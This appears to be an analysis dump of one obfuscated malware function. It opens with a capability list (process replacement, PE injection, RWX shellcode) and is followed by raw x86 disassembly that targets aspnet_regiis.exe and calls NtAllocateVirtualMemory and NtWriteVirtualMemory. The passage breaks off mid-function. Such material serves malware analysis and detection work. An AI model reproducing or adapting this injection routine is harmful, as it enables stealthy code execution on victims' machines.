Function at 0x100074d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x134
mov eax, dword [0x1006a204]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x13c], 0xb857eb0b
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x140], eax
sub eax, 0x80cb8e1e
je 0x1000dd7a
jmp 0x1000750c
mov eax, dword [ebp - 0x140]
sub eax, 0x815baee7
je 0x1000ba72
jmp 0x10007522
mov eax, dword [ebp - 0x140]
sub eax, 0x826a7b6f
je 0x1000f6d7
jmp 0x10007538
mov eax, dword [ebp - 0x140]
sub eax, 0x826efb25
je 0x1000ea1c
jmp 0x1000754e
mov eax, dword [ebp - 0x140]
sub eax, 0x829cfdd7
je 0x1000a570
jmp 0x10007564
mov eax, dword [ebp - 0x140]
sub eax, 0x82c19281
je 0x100093b1
jmp 0x1000757a
mov eax, dword [ebp - 0x140]
sub eax, 0x85a62801
je 0x1000c93e
jmp 0x10007590
mov eax, dword [ebp - 0x140]
sub eax, 0x85a768e1
je 0x1000ea07
jmp 0x100075a6
mov eax, dword [ebp - 0x140]
sub eax, 0x8625be68
je 0x1000c7d9
jmp 0x100075bc
mov eax, dword [ebp - 0x140]
sub eax, 0x886fcacc
je 0x1000a8a7
jmp 0x100075d2
mov eax, dword [ebp - 0x140]
sub eax, 0x88918ee8
je 0x1000f606
jmp 0x100075e8
mov eax, dword [ebp - 0x140]
sub eax, 0x89e0eef1
je 0x1000e107
jmp 0x100075fe
mov eax, dword [ebp - 0x140]
sub eax, 0x8af26a49
je 0x1000e7c2
jmp 0x10007614
mov eax, dword [ebp - 0x140]
sub eax, 0x8b81dcb1
je 0x1000e0f8
jmp 0x1000762a
mov eax, dword [ebp - 0x140]
sub eax, 0x8ba1de2e
je 0x1000dd6b
jmp 0x10007640
mov eax, dword [ebp - 0x140]
sub eax, 0x8cc00f71
je 0x1000d128
jmp 0x10007656
mov eax, dword [ebp - 0x140]
sub eax, 0x8dbd3850
je 0x1000f37a
jmp 0x1000766c
mov eax, dword [ebp - 0x140]
sub eax, 0x8fe3643d
je 0x1000edbf
jmp 0x10007682
mov eax, dword [ebp - 0x140]
sub eax, 0x90c10bfb
je 0x10009b0b
jmp 0x10007698
mov eax, dword [ebp - 0x140]
sub eax, 0x90ee6218
je 0x1000d71f
jmp 0x100076ae
mov eax, dword [ebp - 0x140]
sub eax, 0x918d83c3
je 0x1000e40a
jmp 0x100076c4
mov eax, dword [ebp - 0x140]
sub eax, 0x91e8b1ef
je 0x1000d3af
jmp 0x100076da
mov eax, dword [ebp - 0x140]
sub eax, 0x92398cea
je 0x1000ef7c
jmp 0x100076f0
mov eax, dword [ebp - 0x140]
sub eax, 0x925b5f0a
je 0x1000dc21
jmp 0x10007706
mov eax, dword [ebp - 0x140]
sub eax, 0x928332bf
je 0x1000e9f8
jmp 0x1000771c
mov eax, dword [ebp - 0x140]
sub eax, 0x92ac39e9
je 0x1000bbdb
jmp 0x10007732
mov eax, dword [ebp - 0x140]
sub eax, 0x92c8411b
je 0x1000d3be
jmp 0x10007748
mov eax, dword [ebp - 0x140]
sub eax, 0x942172d8
je 0x1000a8f8
jmp 0x1000775e
mov eax, dword [ebp - 0x140]
sub eax, 0x9697b463
je 0x1000e764
jmp 0x10007774
mov eax, dword [ebp - 0x140]
sub eax, 0x99e40383
je 0x1000e4de
jmp 0x1000778a
mov eax, dword [ebp - 0x140]
sub eax, 0x9aa2a1e4
je 0x1000d7c9
jmp 0x100077a0
mov eax, dword [ebp - 0x140]
sub eax, 0x9af77626
je 0x1000d1c8
jmp 0x100077b6
mov eax, dword [ebp - 0x140]
sub eax, 0x9b12e184
je 0x1000c4dd
jmp 0x100077cc
mov eax, dword [ebp - 0x140]
sub eax, 0x9ba2231a
je 0x1000cd9c
jmp 0x100077e2
mov eax, dword [ebp - 0x140]
sub eax, 0x9bbf162e
je 0x1000ca57
jmp 0x100077f8
mov eax, dword [ebp - 0x140]
sub eax, 0x9c9080a4
je 0x1000f00d
jmp 0x1000780e
mov eax, dword [ebp - 0x140]
sub eax, 0x9ded6d45
je 0x1000a7c3
jmp 0x10007824
mov eax, dword [ebp - 0x140]
sub eax, 0x9df450b0
je 0x10009743
jmp 0x1000783a
mov eax, dword [ebp - 0x140]
sub eax, 0x9e037fcf
je 0x1000a50b
jmp 0x10007850
mov eax, dword [ebp - 0x140]
sub eax, 0x9e1a6530
je 0x1000a4ab
jmp 0x10007866
mov eax, dword [ebp - 0x140]
sub eax, 0x9eaddea4
je 0x1000ab1f
jmp 0x1000787c
mov eax, dword [ebp - 0x140]
sub eax, 0xa0480764
je 0x1000f08d
jmp 0x10007892
mov eax, dword [ebp - 0x140]
sub eax, 0xa148bb19
je 0x1000b5db
jmp 0x100078a8
mov eax, dword [ebp - 0x140]
sub eax, 0xa16c7dec
je 0x1000ac3e
jmp 0x100078be
mov eax, dword [ebp - 0x140]
sub eax, 0xa20b3443
je 0x1000c39b
jmp 0x100078d4
mov eax, dword [ebp - 0x140]
sub eax, 0xa2d5ac1a
je 0x1000f01c
jmp 0x100078ea
mov eax, dword [ebp - 0x140]
sub eax, 0xa3fbf165
je 0x1000e8d0
jmp 0x10007900
mov eax, dword [ebp - 0x140]
sub eax, 0xa4416130
je 0x10009cfb
jmp 0x10007916
mov eax, dword [ebp - 0x140]
sub eax, 0xa4ec4b63
je 0x1000bb4e
jmp 0x1000792c
mov eax, dword [ebp - 0x140]
sub eax, 0xa5bffe36
je 0x100097a3
jmp 0x10007942
mov eax, dword [ebp - 0x140]
sub eax, 0xa61d0e57
je 0x1000e5d0
jmp 0x10007958
mov eax, dword [ebp - 0x140]
sub eax, 0xa6c151ea
je 0x1000f338
jmp 0x1000796e
mov eax, dword [ebp - 0x140]
sub eax, 0xa725d9f3
je 0x1000b61b
jmp 0x10007984
mov eax, dword [ebp - 0x140]
sub eax, 0xa7947600
je 0x1000f5dc
jmp 0x1000799a
mov eax, dword [ebp - 0x140]
sub eax, 0xa80a276c
je 0x1000999b
jmp 0x100079b0
mov eax, dword [ebp - 0x140]
sub eax, 0xa8504348
je 0x10009f3e
jmp 0x100079c6
mov eax, dword [ebp - 0x140]
sub eax, 0xa8b67078
je 0x1000a26c
jmp 0x100079dc
mov eax, dword [ebp - 0x140]
sub eax, 0xa9979c4a
je 0x1000f5f1
jmp 0x100079f2
mov eax, dword [ebp - 0x140]
sub eax, 0xa9e292a4
je 0x1000ab70
jmp 0x10007a08
mov eax, dword [ebp - 0x140]
sub eax, 0xabeceed7
je 0x1000af29
jmp 0x10007a1e
mov eax, dword [ebp - 0x140]
sub eax, 0xac27fca1
je 0x1000e325
jmp 0x10007a34
mov eax, dword [ebp - 0x140]
sub eax, 0xac6f25ea
je 0x1000d7aa
jmp 0x10007a4a
mov eax, dword [ebp - 0x140]
sub eax, 0xac96ecbb
je 0x1000d9ce
jmp 0x10007a60
mov eax, dword [ebp - 0x140]
sub eax, 0xae03e86a
je 0x1000f39e
jmp 0x10007a76
mov eax, dword [ebp - 0x140]
sub eax, 0xae4b137c
je 0x1000bc60
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x128], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0xf68362c4
sub edx, 1
add edx, 0xf68362c4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbce6fc6e
mov ecx, 0x3dcdd5fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dword [ebp - 0x13c], 0xff9cacbe
jmp 0x1000f719
mov eax, dword [ebp - 0xbc]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xb5], al
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0xca09f3b3
sub edx, 1
add edx, 0xca09f3b3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x69d23c5a
mov ecx, 0x1046dfbb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dword [ebp - 0x13c], 0x6ae883ab
jmp 0x1000f719
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb934a9dd
mov ecx, 0xc08be415
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6fa5fe9e
mov ecx, 0xb8f5723c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [ebp - 0x124]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10010fa0
add esp, 0xc
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0xa0], eax
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0x49807283
sub edx, 1
sub edx, 0x49807283
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x49a3955b
mov ecx, 0xd8f1fcf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [ebp - 0x11c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x13c], 0xc9ff6418
jmp 0x1000f719
mov dword [ebp - 0x13c], 0x24579656
jmp 0x1000f719
mov eax, dword [ebp - 0x94]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x8e], al
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0xbc7352e1
sub edx, 1
sub edx, 0xbc7352e1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa0480764
mov ecx, 0x829cfdd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dl, byte [ebp - 0x8e]
mov eax, 0x80cb8e1e
mov ecx, 0x42ec808a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6402201d
mov ecx, 0xaed79205
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0xfc4cb350
sub edx, 1
sub edx, 0xfc4cb350
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x918d83c3
mov ecx, 0x942172d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x8c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x110]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
cmp dword [eax], 0
setge al
and al, 1
mov byte [ebp - 0x85], al
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0xd93d85b8
sub edx, 1
add edx, 0xd93d85b8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x918d83c3
mov ecx, 0xd9a929a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0xdeab768
sub edx, 1
sub edx, 0xdeab768
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd7453e4d
mov ecx, 0xa9e292a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0x96ea391f
sub edx, 1
add edx, 0x96ea391f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd7453e4d
mov ecx, 0x73f02736
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5c142f02
mov ecx, 0xb0bae12f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
add eax, 4
add eax, 2
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x13c], 0x3dffbdb2
jmp 0x1000f719
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x6c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov dword [eax], 0
mov dword [ebp - 0x13c], 0x1bac59e2
jmp 0x1000f719
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0x68]
mov eax, 0x173fb159
mov ecx, 0xb36a6380
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8af26a49
mov ecx, 0x1503d06d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
add ecx, eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x104]
mov edx, dword [edx]
mov esi, dword [ebp - 0xf4]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x86a50df6
sub eax, edx
add eax, 0x86a50df6
add ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0x9ef2e985
sub edx, 1
add edx, 0x9ef2e985
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b9e0e17
mov ecx, 0x92ac39e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
sub edx, 0x1ce5c069
sub edx, 1
add edx, 0x1ce5c069
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8af26a49
mov ecx, 0xcc1f8ac8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x49], al
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0x5b915fcd
sub edx, 1
sub edx, 0x5b915fcd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x609d1bf5
mov ecx, 0x2e02f827
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dl, byte [ebp - 0x49]
mov eax, 0x12c361ca
mov ecx, 0x6a8c9c31
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0xcb55a4c
sub ecx, eax
sub ecx, 0xcb55a4c
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov dword [eax], 0
mov dword [ebp - 0x13c], 0x1ab8d783
jmp 0x1000f719
mov dword [ebp - 0x13c], 0x1363ddd8
jmp 0x1000f719
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0x99f9722d
sub edx, 1
sub edx, 0x99f9722d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6014a7ef
mov ecx, 0x66057a1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dword [ebp - 0x13c], 0x713de032
jmp 0x1000f719
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x128]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0xe525faa8
sub edx, 1
sub edx, 0xe525faa8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a9965f4
mov ecx, 0x9af77626
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dword [ebp - 0x13c], 0xd02c1f1a
jmp 0x1000f719
mov dword [ebp - 0x13c], 0x92c8411b
jmp 0x1000f719
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0x5ef0195e
sub edx, 1
sub edx, 0x5ef0195e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7648c7d
mov ecx, 0x636f267
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dword [ebp - 0x13c], 0xbb2dfd2
jmp 0x1000f719
mov edx, dword [ebp - 0x20]
mov eax, 0x925b5f0a
mov ecx, 0x9aa2a1e4
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ff22685
mov ecx, 0x18454128
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2495adbc
mov ecx, 0xe09166a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2a056727
mov ecx, 0xea10c59e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dword [ebp - 0x13c], 0x80cb8e1e
jmp 0x1000f719
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x610d5ba6
mov ecx, 0x59f6385d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dword [ebp - 0x13c], 0x89e0eef1
jmp 0x1000f719
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10010370
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xa4]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x128]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10010fa0
add esp, 0xc
mov dword [ebp - 0x13c], 0x1d9f45bc
jmp 0x1000f719
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x8c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x110]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x13c], 0x942172d8
jmp 0x1000f719
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
sub edx, 0x74bc987
sub edx, 1
add edx, 0x74bc987
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa7947600
mov ecx, 0xd15d2ecd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dword [ebp - 0x13c], 0xd8abdca9
jmp 0x1000f719
mov eax, dword [ebp - 0xf8]
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa9979c4a
mov ecx, 0xe46b37fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
add ecx, eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x104]
mov edx, dword [edx]
mov esi, dword [ebp - 0xf4]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0x4afb02e1
sub eax, edx
sub eax, 0x4afb02e1
add ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov dword [ebp - 0x13c], 0x1503d06d
jmp 0x1000f719
mov eax, dword [ebp - 0x48]
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88918ee8
mov ecx, 0x3cd8f4f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1000f719
mov dword [ebp - 0x13c], 0x66057a1d
jmp 0x1000f719
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x13c], 0xbee409ca
jmp 0x1000f719
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
add ecx, 0xfea74a30
add ecx, eax
sub ecx, 0xfea74a30
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov edx, dword [ebp - 0xe0]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
sub ecx, 0x42ebb6d3
add ecx, eax
add ecx, 0x42ebb6d3
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x128]
mov edx, dword [eax]
